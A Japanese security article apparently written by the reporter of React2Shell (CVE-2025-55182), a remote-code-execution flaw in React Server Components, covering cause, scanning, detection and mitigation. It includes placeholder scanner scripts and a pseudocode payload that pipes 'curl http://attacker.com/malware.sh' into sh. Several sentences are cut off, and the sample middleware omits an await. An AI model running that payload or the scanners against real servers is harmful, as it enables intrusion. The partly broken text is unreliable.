
著者:Lachlan Davidson
最終更新:2025 年 12 月 4 日
近年、React とその関連フレームワークの採用が急増し、小規模な Web プロジェクトから大規模エンタープライズアプリまで幅広く利用されています。しかし、人気が高まるにつれて、エコシステムの重要コンポーネントに影響を与える脆弱性への懸念も増大しています。
2025 年 11 月 29 日、筆者 Lachlan Davidson は、サーバーサイド React 実装、特に React Server Components(RSC)の “Flight” プロトコルに影響を与える深刻な脆弱性 React2Shell(CVE-2025-55182)を Meta チームへ責任を持って報告しました。本脆弱性は 2025 年 12 月 3 日に React および Vercel チームによってパッチが公開されています。本記事では、技術的な詳細から実際の悪用事例、検出・緩和までを包括的に解説します。
この記事で扱う内容
セキュリティ専門家、リスクを理解したい開発者、最新 Web 技術に興味を持つエンジニアのいずれであっても、本記事は初歩から高度な攻撃手法、防御策までを網羅的に案内します。
本インシデントのリスク管理と迅速な対応を理解するには、以下のタイムラインが不可欠です。
Next.js は React を “vendored” 依存関係として取り込んでいるため、CVE-2025-66478 が追加割り当てされています(技術的には CVE-2025-55182 と重複)。これにより従来の脆弱性スキャナが見逃しやすい依存関係を追跡しやすくなりました。
React2Shell は React Server Components(RSC)の “Flight” プロトコルに起因する重大な脆弱性(CVE-2025-55182)です。react-server パッケージにおける不安全なデシリアライズにより、認証不要でリモートコード実行(RCE)が可能となります。
主な特徴
create-next-app で生成した標準設定も対象脆弱性の根本原因は、RSC のペイロードをデシリアライズする際の構造検証不足です。攻撃者は細工したデータを送り、サーバーがそれを無防備にデシリアライズすることで任意コード実行に至ります。
簡易フロー
Next.js は React を内部に同梱しているため、通常の依存関係スキャナでは検知が漏れる可能性があります。そのギャップを埋めるため、重複ながら CVE-2025-66478 が割り当てられました。
Flight プロトコルはサーバーとクライアント間で効率的にデータを共有します。この最適化が裏目に出て、react-server パッケージに検証不足を招きました。開発者は抽象化により安全と誤解しがちですが、本脆弱性によりその前提が崩れています。
攻撃者は細工した Flight ペイロードを送信し、
Wiz Research の統計
#!/bin/bash
# React2Shell (CVE-2025-55182) 簡易スキャナ
# <target_url> を対象 URL に置き換えてください
TARGET="<target_url>"
PAYLOAD='{"malicious": "payload"}' # プレースホルダ
echo "Scanning $TARGET for React2Shell vulnerability..."
RESPONSE=$(curl -s -X POST -H "Content-Type: application/json" -d "$PAYLOAD" "$TARGET")
if echo "$RESPONSE" | grep -q "Error processing Flight payload"; then
echo "潜在的な脆弱性を検出: $TARGET"
else
echo "明確な脆弱性サインは検出されませんでした(追加検証推奨)"
fi
import requests, json
def scan_target(target_url):
payload = {"test": "data", "action": "simulate_deserialization"}
headers = {"Content-Type": "application/json"}
print(f"Scanning {target_url} for React2Shell vulnerability...")
try:
r = requests.post(target_url, headers=headers, data=json.dumps(payload), timeout=5)
if "Error processing Flight payload" in r.text:
print(f"[!] 脆弱性の可能性あり: {target_url}")
else:
print(f"[-] 直ちに確認できる問題はなし: {target_url}")
except requests.exceptions.RequestException as e:
print(f"[-] スキャン中にエラー: {e}")
if __name__ == "__main__":
for t in [
"https://example.com/api/flight",
"https://another-example.com/api/flight"
]:
scan_target(t)
// 攻撃ペイロード構造(擬似コード)
const maliciousPayload = {
component: "ShellExec",
args: {
command: "bash -c 'curl -fsSL http://attacker.com/malware.sh | sh'",
},
_meta: {
timestamp: Date.now(),
nonce: Math.random().toString(36).substring(2),
}
};
const serializedPayload = JSON.stringify(maliciousPayload);
sendToServer(serializedPayload);
※上記は教育目的の擬似コードです。無許可の攻撃は違法です。
以下 API の存在だけでは React2Shell の真の悪用を示しません。
vm#runInThisContextchild_process#execfs#writeFile真の攻撃は Next.js によるサーバー関数の自動管理を突くため、静的シグネチャだけに頼らず、
react-server-dom* 19.0.1, 19.1.2, 19.2.1 など)// Next.js ミドルウェア例:追加バリデーション
import { NextResponse } from 'next/server';
export function middleware(request) {
if (request.nextUrl.pathname.startsWith('/api/flight')) {
try {
const body = request.json();
if (!body || typeof body !== 'object' || !body.component) {
return new NextResponse('Invalid payload format', { status: 400 });
}
} catch (err) {
return new NextResponse('Error processing request', { status: 400 });
}
}
return NextResponse.next();
}
React2Shell(CVE-2025-55182)は、RSC “Flight” プロトコルに潜む不安全なデシリアライズにより、
主要ポイント
本ガイドが React2Shell への理解と対策強化の一助になれば幸いです。公式アドバイザリを継続的に確認し、常にセキュアな開発を心掛けましょう。
安全なコーディングを!
このコンテンツが価値あるものだと感じたなら、私たちの包括的な47週間のエリートトレーニングプログラムで何が達成できるか想像してみてください。ユニット8200の技術でキャリアを transformed した1,200人以上の学生に参加しましょう。